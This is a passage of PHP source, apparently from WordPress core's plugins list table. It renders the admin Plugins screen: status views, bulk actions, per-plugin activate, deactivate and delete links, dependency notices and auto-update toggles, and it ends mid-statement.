			'cb'          => ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ? '<input type="checkbox" />' : '',
			'name'        => __( 'Plugin' ),
			'description' => __( 'Description' ),
		);

		if ( $this->show_autoupdates && ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

	/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

		$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

			switch ( $type ) {
				case 'all':
					/* translators: %s: Number of plugins. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'plugins'
					);
					break;
				case 'active':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Active <span class="count">(%s)</span>',
						'Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'recently_activated':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Recently Active <span class="count">(%s)</span>',
						'Recently Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'inactive':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Inactive <span class="count">(%s)</span>',
						'Inactive <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'mustuse':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Must-Use <span class="count">(%s)</span>',
						'Must-Use <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'dropins':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Drop-in <span class="count">(%s)</span>',
						'Drop-ins <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'paused':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Paused <span class="count">(%s)</span>',
						'Paused <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

			if ( 'search' !== $type ) {
				$status_links[ $type ] = array(
					'url'     => add_query_arg( 'plugin_status', $type, 'plugins.php' ),
					'label'   => sprintf( $text, number_format_i18n( $count ) ),
					'current' => $type === $status,
				);
			}
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @global string $status
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

		$actions = array();

		if ( 'active' !== $status ) {
			$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? _x( 'Network Activate', 'plugin' ) : _x( 'Activate', 'plugin' );
		}

		if ( 'inactive' !== $status && 'recent' !== $status ) {
			$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? _x( 'Network Deactivate', 'plugin' ) : _x( 'Deactivate', 'plugin' );
		}

		if ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) {
			if ( current_user_can( 'update_plugins' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}

			if ( current_user_can( 'delete_plugins' ) && ( 'active' !== $status ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}

			if ( $this->show_autoupdates ) {
				if ( 'auto-update-enabled' !== $status ) {
					$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
				}
				if ( 'auto-update-disabled' !== $status ) {
					$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
				}
			}
		}

		return $actions;
	}

	/**
	 * @global string $status
	 * @param string $which
	 */
	public function bulk_actions( $which = '' ) {
		global $status;

		if ( in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		parent::bulk_actions( $which );
	}

	/**
	 * @global string $status
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $status;

		if ( ! in_array( $status, array( 'recently_activated', 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		echo '<div class="alignleft actions">';

		if ( 'recently_activated' === $status ) {
			submit_button( __( 'Clear List' ), '', 'clear-recent-list', false );
		} elseif ( 'top' === $which && 'mustuse' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: mu-plugins directory name. */
				__( 'Files in the %s directory are executed automatically.' ),
				'<code>' . str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) . '</code>'
			) . '</p>';
		} elseif ( 'top' === $which && 'dropins' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			) . '</p>';
		}
		echo '</div>';
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_POST['clear-recent-list'] ) ) {
			return 'clear-recent-list';
		}

		return parent::current_action();
	}

	/**
	 * @global string $status
	 */
	public function display_rows() {
		global $status;

		if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		foreach ( $this->items as $plugin_file => $plugin_data ) {
			$this->single_row( array( $plugin_file, $plugin_data ) );
		}
	}

	/**
	 * @global string $status
	 * @global int $page
	 * @global string $s
	 * @global array $totals
	 *
	 * @param array $item
	 */
	public function single_row( $item ) {
		global $status, $page, $s, $totals;
		static $plugin_id_attrs = array();

		list( $plugin_file, $plugin_data ) = $item;

		$plugin_slug    = isset( $plugin_data['slug'] ) ? $plugin_data['slug'] : sanitize_title( $plugin_data['Name'] );
		$plugin_id_attr = $plugin_slug;

		// Ensure the ID attribute is unique.
		$suffix = 2;
		while ( in_array( $plugin_id_attr, $plugin_id_attrs, true ) ) {
			$plugin_id_attr = "$plugin_slug-$suffix";
			++$suffix;
		}

		$plugin_id_attrs[] = $plugin_id_attr;

		$context = $status;
		$screen  = $this->screen;

		// Pre-order.
		$actions = array(
			'deactivate' => '',
			'activate'   => '',
			'details'    => '',
			'delete'     => '',
		);

		// Do not restrict by default.
		$restrict_network_active = false;
		$restrict_network_only   = false;

		$requires_php = isset( $plugin_data['RequiresPHP'] ) ? $plugin_data['RequiresPHP'] : null;
		$requires_wp  = isset( $plugin_data['RequiresWP'] ) ? $plugin_data['RequiresWP'] : null;

		$compatible_php = is_php_version_compatible( $requires_php );
		$compatible_wp  = is_wp_version_compatible( $requires_wp );

		$has_dependents          = WP_Plugin_Dependencies::has_dependents( $plugin_file );
		$has_active_dependents   = WP_Plugin_Dependencies::has_active_dependents( $plugin_file );
		$has_unmet_dependencies  = WP_Plugin_Dependencies::has_unmet_dependencies( $plugin_file );
		$has_circular_dependency = WP_Plugin_Dependencies::has_circular_dependency( $plugin_file );

		if ( 'mustuse' === $context ) {
			$is_active = true;
		} elseif ( 'dropins' === $context ) {
			$dropins     = _get_dropins();
			$plugin_name = $plugin_file;

			if ( $plugin_file !== $plugin_data['Name'] ) {
				$plugin_name .= '<br />' . $plugin_data['Name'];
			}

			if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} else {
				$is_active   = false;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="error-message">' . __( 'Inactive:' ) . '</span></strong> ' .
					sprintf(
						/* translators: 1: Drop-in constant name, 2: wp-config.php */
						__( 'Requires %1$s in %2$s file.' ),
						"<code>define('" . $dropins[ $plugin_file ][1] . "', true);</code>",
						'<code>wp-config.php</code>'
					) . '</p>';
			}

			if ( $plugin_data['Description'] ) {
				$description .= '<p>' . $plugin_data['Description'] . '</p>';
			}
		} else {
			if ( $screen->in_admin( 'network' ) ) {
				$is_active = is_plugin_active_for_network( $plugin_file );
			} else {
				$is_active               = is_plugin_active( $plugin_file );
				$restrict_network_active = ( is_multisite() && is_plugin_active_for_network( $plugin_file ) );
				$restrict_network_only   = ( is_multisite() && is_network_only_plugin( $plugin_file ) && ! $is_active );
			}

			if ( $screen->in_admin( 'network' ) ) {
				if ( $is_active ) {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						if ( $has_active_dependents ) {
							$actions['deactivate'] = __( 'Deactivate' ) .
								'<span class="screen-reader-text">' .
								__( 'You cannot deactivate this plugin as other plugins require it.' ) .
								'</span>';

						} else {
							$deactivate_url = 'plugins.php?action=deactivate' .
								'&amp;plugin=' . urlencode( $plugin_file ) .
								'&amp;plugin_status=' . $context .
								'&amp;paged=' . $page .
								'&amp;s=' . $s;

							$actions['deactivate'] = sprintf(
								'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
								wp_nonce_url( $deactivate_url, 'deactivate-plugin_' . $plugin_file ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Network Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
								_x( 'Network Deactivate', 'plugin' )
							);
						}
					}
				} else {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						if ( $compatible_php && $compatible_wp ) {
							if ( $has_unmet_dependencies ) {
								$actions['activate'] = _x( 'Network Activate', 'plugin' ) .
									'<span class="screen-reader-text">' .
									__( 'You cannot activate this plugin as it has unmet requirements.' ) .
									'</span>';
							} else {
								$activate_url = 'plugins.php?action=activate' .
									'&amp;plugin=' . urlencode( $plugin_file ) .
									'&amp;plugin_status=' . $context .
									'&amp;paged=' . $page .
									'&amp;s=' . $s;

								$actions['activate'] = sprintf(
									'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
									wp_nonce_url( $activate_url, 'activate-plugin_' . $plugin_file ),
									esc_attr( $plugin_id_attr ),
									/* translators: %s: Plugin name. */
									esc_attr( sprintf( _x( 'Network Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
									_x( 'Network Activate', 'plugin' )
								);
							}
						} else {
							$actions['activate'] = sprintf(
								'<span>%s</span>',
								_x( 'Cannot Activate', 'plugin' )
							);
						}
					}

					if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) {
						if ( $has_dependents && ! $has_circular_dependency ) {
							$actions['delete'] = __( 'Delete' ) .
								'<span class="screen-reader-text">' .
								__( 'You cannot delete this plugin as other plugins require it.' ) .
								'</span>';
						} else {
							$delete_url = 'plugins.php?action=delete-selected' .
								'&amp;checked[]=' . urlencode( $plugin_file ) .
								'&amp;plugin_status=' . $context .
								'&amp;paged=' . $page .
								'&amp;s=' . $s;

							$actions['delete'] = sprintf(
								'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
								wp_nonce_url( $delete_url, 'bulk-plugins' ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
								__( 'Delete' )
							);
						}
					}
				}
			} else {
				if ( $restrict_network_active ) {
					$actions = array(
						'network_active' => __( 'Network Active' ),
					);
				} elseif ( $restrict_network_only ) {
					$actions = array(
						'network_only' => __( 'Network Only' ),
					);
				} elseif ( $is_active ) {
					if ( current_user_can( 'deactivate_plugin', $plugin_file ) ) {
						if ( $has_active_dependents ) {
							$actions['deactivate'] = __( 'Deactivate' ) .
								'<span class="screen-reader-text">' .
								__( 'You cannot deactivate this plugin as other plugins depend on it.' ) .
								'</span>';
						} else {
							$deactivate_url = 'plugins.php?action=deactivate' .
								'&amp;plugin=' . urlencode( $plugin_file ) .
								'&amp;plugin_status=' . $context .
								'&amp;paged=' . $page .
								'&amp;s=' . $s;

							$actions['deactivate'] = sprintf(
								'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
								wp_nonce_url( $deactivate_url, 'deactivate-plugin_' . $plugin_file ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
								__( 'Deactivate' )
							);
						}
					}

					if ( current_user_can( 'resume_plugin', $plugin_file ) && is_plugin_paused( $plugin_file ) ) {
						$resume_url = 'plugins.php?action=resume' .
							'&amp;plugin=' . urlencode( $plugin_file ) .
							'&amp;plugin_status=' . $context .
							'&amp;paged=' . $page .
							'&amp;s=' . $s;

						$actions['resume'] = sprintf(
							'<a href="%s" id="resume-%s" class="resume-link" aria-label="%s">%s</a>',
							wp_nonce_url( $resume_url, 'resume-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Resume %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Resume' )
						);
					}
				} else {
					if ( current_user_can( 'activate_plugin', $plugin_file ) ) {
						if ( $compatible_php && $compatible_wp ) {
							if ( $has_unmet_dependencies ) {
								$actions['activate'] = _x( 'Activate', 'plugin' ) .
									'<span class="screen-reader-text">' .
									__( 'You cannot activate this plugin as it has unmet requirements.' ) .
									'</span>';
							} else {
								$activate_url = 'plugins.php?action=activate' .
									'&amp;plugin=' . urlencode( $plugin_file ) .
									'&amp;plugin_status=' . $context .
									'&amp;paged=' . $page .
									'&amp;s=' . $s;

								$actions['activate'] = sprintf(
									'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
									wp_nonce_url( $activate_url, 'activate-plugin_' . $plugin_file ),
									esc_attr( $plugin_id_attr ),
									/* translators: %s: Plugin name. */
									esc_attr( sprintf( _x( 'Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
									_x( 'Activate', 'plugin' )
								);
							}
						} else {
							$actions['activate'] = sprintf(
								'<span>%s</span>',
								_x( 'Cannot Activate', 'plugin' )
							);
						}
					}

					if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) {
						if ( $has_dependents && ! $has_circular_dependency ) {
							$actions['delete'] = __( 'Delete' ) .
								'<span class="screen-reader-text">' .
								__( 'You cannot delete this plugin as other plugins require it.' ) .
								'</span>';
						} else {
							$delete_url = 'plugins.php?action=delete-selected' .
								'&amp;checked[]=' . urlencode( $plugin_file ) .
								'&amp;plugin_status=' . $context .
								'&amp;paged=' . $page .
								'&amp;s=' . $s;

							$actions['delete'] = sprintf(
								'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
								wp_nonce_url( $delete_url, 'bulk-plugins' ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
								__( 'Delete' )
							);
						}
					}
				} // End if $is_active.
			} // End if $screen->in_admin( 'network' ).
		} // End if $context.

		$actions = array_filter( $actions );

		if ( $screen->in_admin( 'network' ) ) {

			/**
			 * Filters the action links displayed for each plugin in the Network Admin Plugins list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'network_admin_plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

			/**
			 * Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "network_admin_plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

		} else {

			/**
			 * Filters the action links displayed for each plugin in the Plugins list table.
			 *
			 * @since 2.5.0
			 * @since 2.6.0 The `$context` parameter was added.
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'. With Multisite active
			 *                              this can also include 'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

			/**
			 * Filters the list of action links displayed for a specific plugin in the Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 2.7.0
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'. With Multisite active
			 *                              this can also include 'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

		}

		$class       = $is_active ? 'active' : 'inactive';
		$checkbox_id = 'checkbox_' . md5( $plugin_file );
		$disabled    = '';

		if ( $has_dependents || $has_unmet_dependencies ) {
			$disabled = 'disabled';
		}

		if (
			$restrict_network_active ||
			$restrict_network_only ||
			in_array( $status, array( 'mustuse', 'dropins' ), true ) ||
			! $compatible_php
		) {
			$checkbox = '';
		} else {
			$checkbox = sprintf(
				'<label class="label-covers-full-cell" for="%1$s">' .
				'<span class="screen-reader-text">%2$s</span></label>' .
				'<input type="checkbox" name="checked[]" value="%3$s" id="%1$s" ' . $disabled . '/>',
				$checkbox_id,
				/* translators: Hidden accessibility text. %s: Plugin name. */
				sprintf( __( 'Select %s' ), $plugin_data['Name'] ),
				esc_attr( $plugin_file )
			);
		}

		if ( 'dropins' !== $context ) {
			$description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : '&nbsp;' ) . '</p>';
			$plugin_name = $plugin_data['Name'];
		}

		if (
			! empty( $totals['upgrade'] ) &&
			! empty( $plugin_data['update'] ) ||
			! $compatible_php ||
			! $compatible_wp
		) {
			$class .= ' update';
		}

		$paused = ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file );

		if ( $paused ) {
			$class .= ' paused';
		}

		if ( is_uninstallable_plugin( $plugin_file ) ) {
			$class .= ' is-uninstallable';
		}

		printf(
			'<tr class="%s" data-slug="%s" data-plugin="%s">',
			esc_attr( $class ),
			esc_attr( $plugin_slug ),
			esc_attr( $plugin_file )
		);

		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

		foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes = ' hidden';
			}

			switch ( $column_name ) {
				case 'cb':
					echo "<th scope='row' class='check-column'>$checkbox</th>";
					break;
				case 'name':
					echo "<td class='plugin-title column-primary'><strong>$plugin_name</strong>";
					echo $this->row_actions( $actions, true );
					echo '</td>';
					break;
				case 'description':
					$classes = 'column-description desc';

					echo "<td class='$classes{$extra_classes}'>
						<div class='plugin-description'>$description</div>
						<div class='$class second plugin-version-author-uri'>";

					$plugin_meta = array();

					if ( ! empty( $plugin_data['Version'] ) ) {
						/* translators: %s: Plugin version number. */
						$plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
					}

					if ( ! empty( $plugin_data['Author'] ) ) {
						$author = $plugin_data['Author'];

						if ( ! empty( $plugin_data['AuthorURI'] ) ) {
							$author = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
						}

						/* translators: %s: Plugin author name. */
						$plugin_meta[] = sprintf( __( 'By %s' ), $author );
					}

					// Details link using API info, if available.
					if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) {
						$plugin_meta[] = sprintf(
							'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
							esc_url(
								network_admin_url(
									'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] .
									'&TB_iframe=true&width=600&height=550'
								)
							),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ),
							esc_attr( $plugin_name ),
							__( 'View details' )
						);
					} elseif ( ! empty( $plugin_data['PluginURI'] ) ) {
						/* translators: %s: Plugin name. */
						$aria_label = sprintf( __( 'Visit plugin site for %s' ), $plugin_name );

						$plugin_meta[] = sprintf(
							'<a href="%s" aria-label="%s">%s</a>',
							esc_url( $plugin_data['PluginURI'] ),
							esc_attr( $aria_label ),
							__( 'Visit plugin site' )
						);
					}

					/**
					 * Filters the array of row meta for each plugin in the Plugins list table.
					 *
					 * @since 2.8.0
					 *
					 * @param string[] $plugin_meta An array of the plugin's metadata, including
					 *                              the version, author, author URI, and plugin URI.
					 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array    $plugin_data {
					 *     An array of plugin data.
					 *
					 *     @type string   $id               Plugin ID, e.g. `w.org/plugins/[plugin-name]`.
					 *     @type string   $slug             Plugin slug.
					 *     @type string   $plugin           Plugin basename.
					 *     @type string   $new_version      New plugin version.
					 *     @type string   $url              Plugin URL.
					 *     @type string   $package          Plugin update package URL.
					 *     @type string[] $icons            An array of plugin icon URLs.
					 *     @type string[] $banners          An array of plugin banner URLs.
					 *     @type string[] $banners_rtl      An array of plugin RTL banner URLs.
					 *     @type string   $requires         The version of WordPress which the plugin requires.
					 *     @type string   $tested           The version of WordPress the plugin is tested against.
					 *     @type string   $requires_php     The version of PHP which the plugin requires.
					 *     @type string   $upgrade_notice   The upgrade notice for the new plugin version.
					 *     @type bool     $update-supported Whether the plugin supports updates.
					 *     @type string   $Name             The human-readable name of the plugin.
					 *     @type string   $PluginURI        Plugin URI.
					 *     @type string   $Version          Plugin version.
					 *     @type string   $Description      Plugin description.
					 *     @type string   $Author           Plugin author.
					 *     @type string   $AuthorURI        Plugin author URI.
					 *     @type string   $TextDomain       Plugin textdomain.
					 *     @type string   $DomainPath       Relative path to the plugin's .mo file(s).
					 *     @type bool     $Network          Whether the plugin can only be activated network-wide.
					 *     @type string   $RequiresWP       The version of WordPress which the plugin requires.
					 *     @type string   $RequiresPHP      The version of PHP which the plugin requires.
					 *     @type string   $UpdateURI        ID of the plugin for update purposes, should be a URI.
					 *     @type string   $Title            The human-readable title of the plugin.
					 *     @type string   $AuthorName       Plugin author's name.
					 *     @type bool     $update           Whether there's an available update. Default null.
					 * }
					 * @param string   $status      Status filter currently applied to the plugin list. Possible
					 *                              values are: 'all', 'active', 'inactive', 'recently_activated',
					 *                              'upgrade', 'mustuse', 'dropins', 'search', 'paused',
					 *                              'auto-update-enabled', 'auto-update-disabled'.
					 */
					$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status );

					echo implode( ' | ', $plugin_meta );

					echo '</div>';

					if ( $has_dependents ) {
						$this->add_dependents_to_dependency_plugin_row( $plugin_file );
					}

					if ( WP_Plugin_Dependencies::has_dependencies( $plugin_file ) ) {
						$this->add_dependencies_to_dependent_plugin_row( $plugin_file );
					}

					/**
					 * Fires after plugin row meta.
					 *
					 * @since 6.5.0
					 *
					 * @param string $plugin_file Refer to {@see 'plugin_row_meta'} filter.
					 * @param array  $plugin_data Refer to {@see 'plugin_row_meta'} filter.
					 */
					do_action( 'after_plugin_row_meta', $plugin_file, $plugin_data );

					if ( $paused ) {
						$notice_text = __( 'This plugin failed to load properly and is paused during recovery mode.' );

						printf( '<p><span class="dashicons dashicons-warning"></span> <strong>%s</strong></p>', $notice_text );

						$error = wp_get_plugin_error( $plugin_file );

						if ( false !== $error ) {
							printf( '<div class="error-display"><p>%s</p></div>', wp_get_extension_error_description( $error ) );
						}
					}

					echo '</td>';
					break;
				case 'auto-updates':
					if ( ! $this->show_autoupdates || in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
						break;
					}

					echo "<td class='column-auto-updates{$extra_classes}'>";

					$html = array();

					if ( isset( $plugin_data['auto-update-forced'] ) ) {
						if ( $plugin_data['auto-update-forced'] ) {
							// Forced on.
							$text = __( 'Auto-updates enabled' );
						} else {
							$text = __( 'Auto-updates disabled' );
						}
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( empty( $plugin_data['update-supported'] ) ) {
						$text       = '';
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( in_array( $plugin_file, $auto_updates, true ) ) {
						$text       = __( 'Disable auto-updates' );
						$action     = 'disable';
						$time_class = '';
					} else {
						$text       = __( 'Enable auto-updates' );
						$action     = 'enable';
						$time_class = ' hidden';
					}

					$query_args = array(
						'action'        => "{$action}-auto-update",
						'plugin'        => $plugin_file,
						'paged'         => $page,
						'plugin_status' => $status,
					);

					$url = add_query_arg( $query_args, 'plugins.php' );

					if ( 'unavailable' === $action ) {
						$html[] = '<span class="label">' . $text . '</span>';
					} else {
						$html[] = sprintf(
							'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
							wp_nonce_url( $url, 'updates' ),
							$action
						);

						$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
						$html[] = '<span class="label">' . $text . '</span>';
						$html[] = '</a>';
					}

					if ( ! empty( $plugin_data['update'] ) ) {
						$html[] = sprintf(
							'<div class="auto-update-time%s">%s</div>',
							$time_class,
							wp_get_auto_update_message()
						);
					}

					$html = implode( '', $html );

					/**
					 * Filters the HTML of the auto-updates setting for each plugin in the Plugins list table.
					 *
					 * @since 5.5.0
					 *
					 * @param string $html        The HTML of the plugin's auto-update column content,
					 *                            including toggle auto-update action links and
					 *                            time to next update.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
					 *                            and the {@see 'plugin_row_meta'} filter for the list
					 *                            of possible values.
					 */
					echo apply_filters( 'plugin_auto_update_setting_html', $html, $plugin_file, $plugin_data );

					wp_admin_notice(
						'',
						array(
							'type'               => 'error',
							'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						)
					);

					echo '</td>';

					break;
				default:
					$classes = "$column_name column-$column_name $class";

					echo "<td class='$classes{$extra_classes}'>";

					/**
					 * Fires inside each custom column of the Plugins list table.
					 *
					 * @since 3.1.0
					 *
					 * @param string $column_name Name of the column.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
					 *                            and the {@see 'plugin_row_meta'} filter for the list
					 *                            of possible values.
					 */
					do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );

					echo '</td>';
			}
		}

		echo '</tr>';

		if ( ! $compatible_php || ! $compatible_wp ) {
			printf(
				'<tr class="plugin-update-tr"><td colspan="%s" class="plugin-update colspanchange">',
				esc_attr( $this->get_column_count() )
			);

			$incompatible_message = '';
			if ( ! $compatible_php && ! $compatible_wp ) {
				$incompatible_message .= __( 'This plugin does not work with your versions of WordPress and PHP.' );
				if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
						' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
						self_admin_url( 'update-core.php' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				} elseif ( current_user_can( 'update_core' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				} elseif ( current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			} elseif ( ! $compatible_wp ) {
				$incompatible_message .= __( 'This plugin does not work with your version of WordPress.' );
				if ( current_user_can( 'update_core' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
